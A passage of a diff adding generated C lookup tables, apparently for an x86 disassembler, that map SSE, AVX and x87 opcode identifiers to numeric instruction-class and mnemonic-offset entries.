+ /*II_0F_60*/{ 0x158, 3634 },
+ /*II_66_0F_60*/{ 0x13b, 3634 },
+ /*II_0F_61*/{ 0x158, 3657 },
+ /*II_66_0F_61*/{ 0x13b, 3657 },
+ /*II_0F_62*/{ 0x158, 3680 },
+ /*II_66_0F_62*/{ 0x13b, 3680 },
+ /*II_0F_63*/{ 0x159, 3703 },
+ /*II_66_0F_63*/{ 0x13b, 3703 },
+ /*II_0F_64*/{ 0x159, 3724 },
+ /*II_66_0F_64*/{ 0x13b, 3724 },
+ /*II_0F_65*/{ 0x159, 3743 },
+ /*II_66_0F_65*/{ 0x13b, 3743 },
+ /*II_0F_66*/{ 0x159, 3762 },
+ /*II_66_0F_66*/{ 0x13b, 3762 },
+ /*II_0F_67*/{ 0x159, 3781 },
+ /*II_66_0F_67*/{ 0x13b, 3781 },
+ /*II_0F_68*/{ 0x159, 3802 },
+ /*II_66_0F_68*/{ 0x13b, 3802 },
+ /*II_0F_69*/{ 0x159, 3825 },
+ /*II_66_0F_69*/{ 0x13b, 3825 },
+ /*II_0F_6A*/{ 0x159, 3848 },
+ /*II_66_0F_6A*/{ 0x13b, 3848 },
+ /*II_0F_6B*/{ 0x159, 3871 },
+ /*II_66_0F_6B*/{ 0x13b, 3871 },
+ /*II_66_0F_6C*/{ 0x13b, 3892 },
+ /*II_66_0F_6D*/{ 0x13b, 3917 },
+ /*II_0F_6F*/{ 0x15d, 3948 },
+ /*II_66_0F_6F*/{ 0x123, 3968 },
+ /*II_F3_0F_6F*/{ 0x123, 3976 },
+ /*II_0F_74*/{ 0x159, 4065 },
+ /*II_66_0F_74*/{ 0x13b, 4065 },
+ /*II_0F_75*/{ 0x159, 4084 },
+ /*II_66_0F_75*/{ 0x13b, 4084 },
+ /*II_0F_76*/{ 0x159, 4103 },
+ /*II_66_0F_76*/{ 0x13b, 4103 },
+ /*II_0F_77*/{ 0x161, 4122 },
+ /*II_0F_78*/{ 0x163, 4150 },
+ /*II_0F_79*/{ 0x166, 4174 },
+ /*II_66_0F_79*/{ 0x167, 4158 },
+ /*II_F2_0F_79*/{ 0x168, 4165 },
+ /*II_0F_7A_30*/{ 0x169, 4183 },
+ /*II_0F_7A_31*/{ 0x16a, 4193 },
+ /*II_66_0F_7C*/{ 0x16b, 4203 },
+ /*II_F2_0F_7C*/{ 0x16b, 4211 },
+ /*II_66_0F_7D*/{ 0x16b, 4237 },
+ /*II_F2_0F_7D*/{ 0x16b, 4245 },
+ /*II_F3_0F_7E*/{ 0x125, 3948 },
+ /*II_0F_7F*/{ 0x16f, 3948 },
+ /*II_66_0F_7F*/{ 0x12b, 3968 },
+ /*II_F3_0F_7F*/{ 0x12b, 3976 },
+ /*II_F3_0F_B8*/{ 0x173, 4360 },
+ /*II_0F_BA_04*/{ 0x174, 872 },
+ /*II_0F_BA_05*/{ 0x175, 887 },
+ /*II_0F_BA_06*/{ 0x175, 912 },
+ /*II_0F_BA_07*/{ 0x175, 934 },
+ /*II_0F_BC*/{ 0x176, 4368 },
+ /*II_F3_0F_BC*/{ 0x177, 4373 },
+ /*II_0F_BD*/{ 0x176, 4380 },
+ /*II_F3_0F_BD*/{ 0x178, 4385 },
+ /*II_0F_C7_07*/{ 0x188, 6407 },
+ /*II_66_0F_D0*/{ 0x16b, 6416 },
+ /*II_F2_0F_D0*/{ 0x16b, 6426 },
+ /*II_0F_D1*/{ 0x159, 6458 },
+ /*II_66_0F_D1*/{ 0x13b, 6458 },
+ /*II_0F_D2*/{ 0x159, 6473 },
+ /*II_66_0F_D2*/{ 0x13b, 6473 },
+ /*II_0F_D3*/{ 0x159, 6488 },
+ /*II_66_0F_D3*/{ 0x13b, 6488 },
+ /*II_0F_D4*/{ 0x14e, 6503 },
+ /*II_66_0F_D4*/{ 0x13b, 6503 },
+ /*II_0F_D5*/{ 0x159, 6518 },
+ /*II_66_0F_D5*/{ 0x13b, 6518 },
+ /*II_66_0F_D6*/{ 0x12d, 3948 },
+ /*II_F3_0F_D6*/{ 0x189, 6535 },
+ /*II_F2_0F_D6*/{ 0x18a, 6544 },
+ /*II_0F_D7*/{ 0x18c, 6553 },
+ /*II_66_0F_D7*/{ 0x18d, 6553 },
+ /*II_0F_D8*/{ 0x159, 6574 },
+ /*II_66_0F_D8*/{ 0x13b, 6574 },
+ /*II_0F_D9*/{ 0x159, 6593 },
+ /*II_66_0F_D9*/{ 0x13b, 6593 },
+ /*II_0F_DA*/{ 0x18f, 6612 },
+ /*II_66_0F_DA*/{ 0x13b, 6612 },
+ /*II_0F_DB*/{ 0x159, 6629 },
+ /*II_66_0F_DB*/{ 0x13b, 6629 },
+ /*II_0F_DC*/{ 0x159, 6642 },
+ /*II_66_0F_DC*/{ 0x13b, 6642 },
+ /*II_0F_DD*/{ 0x159, 6661 },
+ /*II_66_0F_DD*/{ 0x13b, 6661 },
+ /*II_0F_DE*/{ 0x18f, 6670 },
+ /*II_66_0F_DE*/{ 0x13b, 6670 },
+ /*II_0F_DF*/{ 0x159, 6687 },
+ /*II_66_0F_DF*/{ 0x13b, 6687 },
+ /*II_0F_E0*/{ 0x18f, 6702 },
+ /*II_66_0F_E0*/{ 0x13b, 6702 },
+ /*II_0F_E1*/{ 0x159, 6717 },
+ /*II_66_0F_E1*/{ 0x13b, 6717 },
+ /*II_0F_E2*/{ 0x159, 6732 },
+ /*II_66_0F_E2*/{ 0x13b, 6732 },
+ /*II_0F_E3*/{ 0x18f, 6747 },
+ /*II_66_0F_E3*/{ 0x13b, 6747 },
+ /*II_0F_E4*/{ 0x18f, 6762 },
+ /*II_66_0F_E4*/{ 0x13b, 6762 },
+ /*II_0F_E5*/{ 0x159, 6781 },
+ /*II_66_0F_E5*/{ 0x13b, 6781 },
+ /*II_66_0F_E6*/{ 0x13b, 6798 },
+ /*II_F3_0F_E6*/{ 0x14e, 6809 },
+ /*II_F2_0F_E6*/{ 0x13b, 6819 },
+ /*II_0F_E7*/{ 0x190, 6863 },
+ /*II_66_0F_E7*/{ 0x144, 6871 },
+ /*II_0F_E8*/{ 0x159, 6890 },
+ /*II_66_0F_E8*/{ 0x13b, 6890 },
+ /*II_0F_E9*/{ 0x159, 6907 },
+ /*II_66_0F_E9*/{ 0x13b, 6907 },
+ /*II_0F_EA*/{ 0x18f, 6924 },
+ /*II_66_0F_EA*/{ 0x13b, 6924 },
+ /*II_0F_EB*/{ 0x159, 6941 },
+ /*II_66_0F_EB*/{ 0x13b, 6941 },
+ /*II_0F_EC*/{ 0x159, 6952 },
+ /*II_66_0F_EC*/{ 0x13b, 6952 },
+ /*II_0F_ED*/{ 0x159, 6969 },
+ /*II_66_0F_ED*/{ 0x13b, 6969 },
+ /*II_0F_EE*/{ 0x18f, 6986 },
+ /*II_66_0F_EE*/{ 0x13b, 6986 },
+ /*II_0F_EF*/{ 0x159, 7003 },
+ /*II_66_0F_EF*/{ 0x13b, 7003 },
+ /*II_F2_0F_F0*/{ 0x191, 7016 },
+ /*II_0F_F1*/{ 0x159, 7031 },
+ /*II_66_0F_F1*/{ 0x13b, 7031 },
+ /*II_0F_F2*/{ 0x159, 7046 },
+ /*II_66_0F_F2*/{ 0x13b, 7046 },
+ /*II_0F_F3*/{ 0x159, 7061 },
+ /*II_66_0F_F3*/{ 0x13b, 7061 },
+ /*II_0F_F4*/{ 0x193, 7076 },
+ /*II_66_0F_F4*/{ 0x13b, 7076 },
+ /*II_0F_F5*/{ 0x159, 7095 },
+ /*II_66_0F_F5*/{ 0x13b, 7095 },
+ /*II_0F_F6*/{ 0x18f, 7114 },
+ /*II_66_0F_F6*/{ 0x13b, 7114 },
+ /*II_0F_F7*/{ 0x194, 7131 },
+ /*II_66_0F_F7*/{ 0x195, 7141 },
+ /*II_0F_F8*/{ 0x159, 7166 },
+ /*II_66_0F_F8*/{ 0x13b, 7166 },
+ /*II_0F_F9*/{ 0x159, 7181 },
+ /*II_66_0F_F9*/{ 0x13b, 7181 },
+ /*II_0F_FA*/{ 0x159, 7196 },
+ /*II_66_0F_FA*/{ 0x13b, 7196 },
+ /*II_0F_FB*/{ 0x193, 7211 },
+ /*II_66_0F_FB*/{ 0x13b, 7211 },
+ /*II_0F_FC*/{ 0x159, 7226 },
+ /*II_66_0F_FC*/{ 0x13b, 7226 },
+ /*II_0F_FD*/{ 0x159, 7241 },
+ /*II_66_0F_FD*/{ 0x13b, 7241 },
+ /*II_0F_FE*/{ 0x159, 7256 },
+ /*II_66_0F_FE*/{ 0x13b, 7256 },
+ /*II_D9_06*/{ 0x197, 7271 },
+ /*II_9B_D9_06*/{ 0x198, 7280 },
+ /*II_D9_07*/{ 0xfd, 7288 },
+ /*II_9B_D9_07*/{ 0x199, 7296 },
+ /*II_DB_E2*/{ 0xeb, 7303 },
+ /*II_9B_DB_E2*/{ 0x19a, 7311 },
+ /*II_DB_E3*/{ 0xeb, 7318 },
+ /*II_9B_DB_E3*/{ 0x19a, 7326 },
+ /*II_DD_06*/{ 0x197, 7333 },
+ /*II_9B_DD_06*/{ 0x198, 7341 },
+ /*II_DD_07*/{ 0xfd, 7348 },
+ /*II_9B_DD_07*/{ 0x199, 7356 },
+ /*II_DF_E0*/{ 0x19b, 7348 },
+ /*II_9B_DF_E0*/{ 0x19c, 7356 },
+ /*II_0F_38_00*/{ 0x19d, 7363 },
+ /*II_66_0F_38_00*/{ 0x19e, 7363 },
+ /*II_0F_38_01*/{ 0x19d, 7380 },
+ /*II_66_0F_38_01*/{ 0x19e, 7380 },
+ /*II_0F_38_02*/{ 0x19d, 7397 },
+ /*II_66_0F_38_02*/{ 0x19e, 7397 },
+ /*II_0F_38_03*/{ 0x19d, 7414 },
+ /*II_66_0F_38_03*/{ 0x19e, 7414 },
+ /*II_0F_38_04*/{ 0x19d, 7433 },
+ /*II_66_0F_38_04*/{ 0x19e, 7433 },
+ /*II_0F_38_05*/{ 0x19d, 7456 },
+ /*II_66_0F_38_05*/{ 0x19e, 7456 },
+ /*II_0F_38_06*/{ 0x19d, 7473 },
+ /*II_66_0F_38_06*/{ 0x19e, 7473 },
+ /*II_0F_38_07*/{ 0x19d, 7490 },
+ /*II_66_0F_38_07*/{ 0x19e, 7490 },
+ /*II_0F_38_08*/{ 0x19d, 7509 },
+ /*II_66_0F_38_08*/{ 0x19e, 7509 },
+ /*II_0F_38_09*/{ 0x19d, 7526 },
+ /*II_66_0F_38_09*/{ 0x19e, 7526 },
+ /*II_0F_38_0A*/{ 0x19d, 7543 },
+ /*II_66_0F_38_0A*/{ 0x19e, 7543 },
+ /*II_0F_38_0B*/{ 0x19d, 7560 },
+ /*II_66_0F_38_0B*/{ 0x19e, 7560 },
+ /*II_66_0F_38_17*/{ 0x1a0, 7651 },
+ /*II_0F_38_1C*/{ 0x19d, 7710 },
+ /*II_66_0F_38_1C*/{ 0x19e, 7710 },
+ /*II_0F_38_1D*/{ 0x19d, 7725 },
+ /*II_66_0F_38_1D*/{ 0x19e, 7725 },
+ /*II_0F_38_1E*/{ 0x19d, 7740 },
+ /*II_66_0F_38_1E*/{ 0x19e, 7740 },
+ /*II_66_0F_38_20*/{ 0x1a5, 7755 },
+ /*II_66_0F_38_21*/{ 0x1a6, 7776 },
+ /*II_66_0F_38_22*/{ 0x1a7, 7797 },
+ /*II_66_0F_38_23*/{ 0x1a5, 7818 },
+ /*II_66_0F_38_24*/{ 0x1a6, 7839 },
+ /*II_66_0F_38_25*/{ 0x1a5, 7860 },
+ /*II_66_0F_38_28*/{ 0x1a9, 7881 },
+ /*II_66_0F_38_29*/{ 0x1a9, 7898 },
+ /*II_66_0F_38_2A*/{ 0x1aa, 7917 },
+ /*II_66_0F_38_2B*/{ 0x1a9, 7938 },
+ /*II_66_0F_38_30*/{ 0x1a5, 7983 },
+ /*II_66_0F_38_31*/{ 0x1a6, 8004 },
+ /*II_66_0F_38_32*/{ 0x1a7, 8025 },
+ /*II_66_0F_38_33*/{ 0x1a5, 8046 },
+ /*II_66_0F_38_34*/{ 0x1a6, 8067 },
+ /*II_66_0F_38_35*/{ 0x1a5, 8088 },
+ /*II_66_0F_38_37*/{ 0x1a0, 8109 },
+ /*II_66_0F_38_38*/{ 0x1a9, 8128 },
+ /*II_66_0F_38_39*/{ 0x1a9, 8145 },
+ /*II_66_0F_38_3A*/{ 0x1a9, 8162 },
+ /*II_66_0F_38_3B*/{ 0x1a9, 8179 },
+ /*II_66_0F_38_3C*/{ 0x1a9, 8196 },
+ /*II_66_0F_38_3D*/{ 0x1a9, 8213 },
+ /*II_66_0F_38_3E*/{ 0x1a9, 8230 },
+ /*II_66_0F_38_3F*/{ 0x1a9, 8247 },
+ /*II_66_0F_38_40*/{ 0x1a9, 8264 },
+ /*II_66_0F_38_41*/{ 0x1a9, 8281 },
+ /*II_66_0F_38_80*/{ 0x1ad, 8306 },
+ /*II_66_0F_38_81*/{ 0x1ad, 8314 },
+ /*II_66_0F_38_82*/{ 0x1ad, 8323 },
+ /*II_66_0F_38_DB*/{ 0x1b0, 9172 },
+ /*II_66_0F_38_DC*/{ 0x1b0, 9189 },
+ /*II_66_0F_38_DD*/{ 0x1b0, 9206 },
+ /*II_66_0F_38_DE*/{ 0x1b0, 9231 },
+ /*II_66_0F_38_DF*/{ 0x1b0, 9248 },
+ /*II_0F_38_F0*/{ 0x1b3, 9273 },
+ /*II_F2_0F_38_F0*/{ 0x1b4, 9280 },
+ /*II_0F_38_F1*/{ 0x1b5, 9273 },
+ /*II_F2_0F_38_F1*/{ 0x1b6, 9280 },
+ /*II_0F_71_02*/{ 0x1cd, 6458 },
+ /*II_66_0F_71_02*/{ 0x1ce, 6458 },
+ /*II_0F_71_04*/{ 0x1cd, 6717 },
+ /*II_66_0F_71_04*/{ 0x1ce, 6717 },
+ /*II_0F_71_06*/{ 0x1cd, 7031 },
+ /*II_66_0F_71_06*/{ 0x1ce, 7031 },
+ /*II_0F_72_02*/{ 0x1cd, 6473 },
+ /*II_66_0F_72_02*/{ 0x1ce, 6473 },
+ /*II_0F_72_04*/{ 0x1cd, 6732 },
+ /*II_66_0F_72_04*/{ 0x1ce, 6732 },
+ /*II_0F_72_06*/{ 0x1cd, 7046 },
+ /*II_66_0F_72_06*/{ 0x1ce, 7046 },
+ /*II_0F_73_02*/{ 0x1cd, 6488 },
+ /*II_66_0F_73_02*/{ 0x1ce, 6488 },
+ /*II_66_0F_73_03*/{ 0x1ce, 9852 },
+ /*II_0F_73_06*/{ 0x1cd, 7061 },
+ /*II_66_0F_73_06*/{ 0x1ce, 7061 },
+ /*II_66_0F_73_07*/{ 0x1ce, 9869 },
+ /*II_F3_0F_AE_00*/{ 0x1d0, 9904 },
+ /*II_F3_0F_AE_01*/{ 0x1d0, 9934 },
+ /*II_0F_AE_02*/{ 0x116, 9944 },
+ /*II_F3_0F_AE_02*/{ 0x1d0, 9953 },
+ /*II_0F_AE_03*/{ 0x116, 9973 },
+ /*II_F3_0F_AE_03*/{ 0x1d0, 9982 },
+ /*II_0F_C7_06*/{ 0x1d2, 10002 },
+ /*II_66_0F_C7_06*/{ 0x188, 10011 },
+ /*II_F3_0F_C7_06*/{ 0x188, 10020 }
+};
+
+_InstInfoEx InstInfosEx[381] = {
+ /*II_69*/{ { 0x34, 117 }, 0x0, 3, 0, 0, 0 },
+ /*II_6B*/{ { 0x34, 117 }, 0x0, 5, 0, 0, 0 },
+ /*II_98*/{ { 0x4e, 228 }, 0x0, 0, 0, 233, 239 },
+ /*II_99*/{ { 0x4e, 245 }, 0x0, 0, 0, 250, 255 },
+ /*II_E3*/{ { 0x76, 427 }, 0x0, 0, 0, 433, 440 },
+ /*II_0F_A4*/{ { 0xac, 876 }, 0x0, 1, 0, 0, 0 },
+ /*II_0F_A5*/{ { 0xac, 876 }, 0x0, 52, 0, 0, 0 },
+ /*II_0F_AC*/{ { 0xac, 892 }, 0x0, 1, 0, 0, 0 },
+ /*II_0F_AD*/{ { 0xac, 892 }, 0x0, 52, 0, 0, 0 },
+ /*II_V_0F_10*/{ { 0x126, 2139 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_10*/{ { 0x126, 2148 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_10*/{ { 0x127, 2157 }, 0x20, 69, 0, 0, 0 },
+ /*II_V_F2_0F_10*/{ { 0x127, 2165 }, 0x20, 69, 0, 0, 0 },
+ /*II_VRR_F3_0F_10*/{ { 0x128, 2157 }, 0x60, 0, 0, 0, 0 },
+ /*II_VRR_F2_0F_10*/{ { 0x129, 2165 }, 0x60, 0, 0, 0, 0 },
+ /*II_V_0F_11*/{ { 0x12e, 2139 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_11*/{ { 0x12e, 2148 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_11*/{ { 0x127, 2157 }, 0x20, 69, 0, 0, 0 },
+ /*II_V_F2_0F_11*/{ { 0x127, 2165 }, 0x20, 69, 0, 0, 0 },
+ /*II_VRR_F3_0F_11*/{ { 0x12f, 2157 }, 0x60, 0, 0, 0, 0 },
+ /*II_VRR_F2_0F_11*/{ { 0x130, 2165 }, 0x60, 0, 0, 0, 0 },
+ /*II_0F_12*/{ { 0x131, 2173 }, 0x0, 0, 0, 2182, 0 },
+ /*II_V_0F_12*/{ { 0x134, 2217 }, 0x0, 72, 0, 2227, 0 },
+ /*II_V_66_0F_12*/{ { 0x135, 2236 }, 0x0, 46, 0, 0, 0 },
+ /*II_V_F3_0F_12*/{ { 0x126, 2245 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F2_0F_12*/{ { 0x136, 2256 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_0F_13*/{ { 0x139, 2227 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_13*/{ { 0x139, 2236 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_0F_14*/{ { 0x13c, 2286 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_14*/{ { 0x13c, 2297 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_0F_15*/{ { 0x13c, 2328 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_15*/{ { 0x13c, 2339 }, 0x1, 90, 0, 0, 0 },
+ /*II_0F_16*/{ { 0x131, 2350 }, 0x0, 0, 0, 2359, 0 },
+ /*II_V_0F_16*/{ { 0x134, 2385 }, 0x0, 72, 0, 2395, 0 },
+ /*II_V_66_0F_16*/{ { 0x135, 2404 }, 0x0, 46, 0, 0, 0 },
+ /*II_V_F3_0F_16*/{ { 0x126, 2413 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_0F_17*/{ { 0x139, 2395 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_17*/{ { 0x139, 2404 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_0F_28*/{ { 0x126, 2489 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_28*/{ { 0x126, 2498 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_0F_29*/{ { 0x12e, 2489 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_29*/{ { 0x12e, 2498 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_2A*/{ { 0x135, 2547 }, 0x2, 79, 0, 0, 0 },
+ /*II_V_F2_0F_2A*/{ { 0x135, 2558 }, 0x2, 79, 0, 0, 0 },
+ /*II_V_0F_2B*/{ { 0x147, 2605 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_2B*/{ { 0x147, 2615 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_2C*/{ { 0x14c, 2669 }, 0x42, 0, 0, 0, 0 },
+ /*II_V_F2_0F_2C*/{ { 0x14c, 2681 }, 0x42, 0, 0, 0, 0 },
+ /*II_V_F3_0F_2D*/{ { 0x14c, 2733 }, 0x42, 0, 0, 0, 0 },
+ /*II_V_F2_0F_2D*/{ { 0x14c, 2744 }, 0x42, 0, 0, 0, 0 },
+ /*II_V_0F_2E*/{ { 0x14f, 2773 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_2E*/{ { 0x150, 2783 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_0F_2F*/{ { 0x14f, 2809 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_2F*/{ { 0x150, 2818 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_0F_50*/{ { 0x153, 2847 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_50*/{ { 0x153, 2858 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_0F_51*/{ { 0x126, 2901 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_51*/{ { 0x126, 2910 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_51*/{ { 0x135, 2919 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_51*/{ { 0x135, 2928 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_0F_52*/{ { 0x126, 2955 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_52*/{ { 0x135, 2965 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_0F_53*/{ { 0x126, 2989 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_53*/{ { 0x135, 2997 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_0F_54*/{ { 0x13c, 3019 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_54*/{ { 0x13c, 3027 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_0F_55*/{ { 0x13c, 3051 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_55*/{ { 0x13c, 3060 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_0F_56*/{ { 0x13c, 3081 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_56*/{ { 0x13c, 3088 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_0F_57*/{ { 0x13c, 3109 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_57*/{ { 0x13c, 3117 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_0F_58*/{ { 0x13c, 3153 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_58*/{ { 0x13c, 3161 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F3_0F_58*/{ { 0x135, 3169 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_58*/{ { 0x135, 3177 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_0F_59*/{ { 0x13c, 3213 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_59*/{ { 0x13c, 3221 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F3_0F_59*/{ { 0x135, 3229 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_59*/{ { 0x135, 3237 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_0F_5A*/{ { 0x156, 3285 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_5A*/{ { 0x157, 3296 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_5A*/{ { 0x135, 3307 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_5A*/{ { 0x135, 3318 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_0F_5B*/{ { 0x126, 3360 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_5B*/{ { 0x126, 3371 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_5B*/{ { 0x126, 3382 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_0F_5C*/{ { 0x13c, 3422 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_5C*/{ { 0x13c, 3430 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F3_0F_5C*/{ { 0x135, 3438 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_5C*/{ { 0x135, 3446 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_0F_5D*/{ { 0x13c, 3482 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_5D*/{ { 0x13c, 3490 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F3_0F_5D*/{ { 0x135, 3498 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_5D*/{ { 0x135, 3506 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_0F_5E*/{ { 0x13c, 3542 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_5E*/{ { 0x13c, 3550 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F3_0F_5E*/{ { 0x135, 3558 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_5E*/{ { 0x135, 3566 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_0F_5F*/{ { 0x13c, 3602 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_5F*/{ { 0x13c, 3610 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F3_0F_5F*/{ { 0x135, 3618 }, 0x0, 71, 0, 0, 0 },
+ /*II_V_F2_0F_5F*/{ { 0x135, 3626 }, 0x0, 72, 0, 0, 0 },
+ /*II_V_66_0F_60*/{ { 0x135, 3645 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_61*/{ { 0x135, 3668 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_62*/{ { 0x135, 3691 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_63*/{ { 0x135, 3713 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_64*/{ { 0x135, 3733 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_65*/{ { 0x135, 3752 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_66*/{ { 0x135, 3771 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_67*/{ { 0x135, 3791 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_68*/{ { 0x135, 3813 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_69*/{ { 0x135, 3836 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_6A*/{ { 0x135, 3859 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_6B*/{ { 0x135, 3881 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_6C*/{ { 0x135, 3904 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_6D*/{ { 0x135, 3929 }, 0x0, 73, 0, 0, 0 },
+ /*II_0F_6E*/{ { 0x15a, 3942 }, 0x0, 0, 0, 0, 3948 },
+ /*II_66_0F_6E*/{ { 0x15b, 3942 }, 0x0, 0, 0, 0, 3948 },
+ /*II_V_66_0F_6E*/{ { 0x15c, 3954 }, 0x46, 0, 0, 3961, 0 },
+ /*II_V_66_0F_6F*/{ { 0x126, 3984 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_6F*/{ { 0x126, 3993 }, 0x41, 0, 0, 0, 0 },
+ /*II_0F_70*/{ { 0x15e, 4002 }, 0x0, 1, 0, 0, 0 },
+ /*II_66_0F_70*/{ { 0x15f, 4010 }, 0x0, 1, 0, 0, 0 },
+ /*II_F3_0F_70*/{ { 0x15f, 4018 }, 0x0, 1, 0, 0, 0 },
+ /*II_F2_0F_70*/{ { 0x15f, 4027 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_70*/{ { 0x160, 4036 }, 0x40, 1, 0, 0, 0 },
+ /*II_V_F3_0F_70*/{ { 0x160, 4045 }, 0x40, 1, 0, 0, 0 },
+ /*II_V_F2_0F_70*/{ { 0x160, 4055 }, 0x40, 1, 0, 0, 0 },
+ /*II_V_66_0F_74*/{ { 0x135, 4074 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_75*/{ { 0x135, 4093 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_76*/{ { 0x135, 4112 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_0F_77*/{ { 0x162, 4128 }, 0x49, 0, 0, 4140, 0 },
+ /*II_66_0F_78*/{ { 0x164, 4158 }, 0x0, 8, 0, 0, 0 },
+ /*II_F2_0F_78*/{ { 0x165, 4165 }, 0x0, 7, 8, 0, 0 },
+ /*II_V_66_0F_7C*/{ { 0x13c, 4219 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F2_0F_7C*/{ { 0x13c, 4228 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_7D*/{ { 0x13c, 4253 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F2_0F_7D*/{ { 0x13c, 4262 }, 0x1, 90, 0, 0, 0 },
+ /*II_0F_7E*/{ { 0x16c, 3942 }, 0x0, 0, 0, 0, 3948 },
+ /*II_66_0F_7E*/{ { 0x16d, 3942 }, 0x0, 0, 0, 0, 3948 },
+ /*II_V_66_0F_7E*/{ { 0x16e, 3954 }, 0x46, 0, 0, 3961, 0 },
+ /*II_V_F3_0F_7E*/{ { 0x150, 3961 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_7F*/{ { 0x12e, 3984 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_7F*/{ { 0x12e, 3993 }, 0x41, 0, 0, 0, 0 },
+ /*II_0F_AE_04*/{ { 0x170, 4271 }, 0x0, 0, 0, 0, 4278 },
+ /*II_0F_AE_05*/{ { 0x171, 4287 }, 0x0, 0, 0, 4295, 4303 },
+ /*II_0F_AE_06*/{ { 0x171, 4313 }, 0x0, 0, 0, 4321, 4331 },
+ /*II_0F_AE_07*/{ { 0x172, 4343 }, 0x0, 0, 0, 4351, 0 },
